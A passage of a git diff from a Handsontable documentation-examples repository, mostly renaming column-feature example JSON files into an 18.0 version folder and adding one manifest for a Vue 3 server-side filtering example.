runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleFilterThroughAPI1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleQuickFilter.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleQuickFilter.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleQuickFilter.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleQuickFilter.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleSearchMode.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleSearchMode.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleSearchMode.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleSearchMode.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleServerSideFilter.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleServerSideFilter.vue.json new file mode 100644 index 00000000..8d75923f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleServerSideFilter.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Server-side filtering · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleServerSideFilter\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleServerSideFilter.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleServerSideFilter","exampleTitle":"Server-side filtering","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleShowFilterItemsOnly.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleShowFilterItemsOnly.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleShowFilterItemsOnly.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleShowFilterItemsOnly.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-freezing__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-freezing__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-groups__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-groups__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__angular__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__angular__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example5.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example5.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example5.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__javascript__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__react__example5.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example5.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__react__example5.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__vue__example5.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example5.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-header__vue__example5.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__angular__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__angular__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__angular__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__angular__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__angular__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__angular__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example5.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example5.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example5.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example6.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example6.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example6.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__javascript__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__javascript__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-hiding__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-hiding__react__example3.tsx.json diff --git 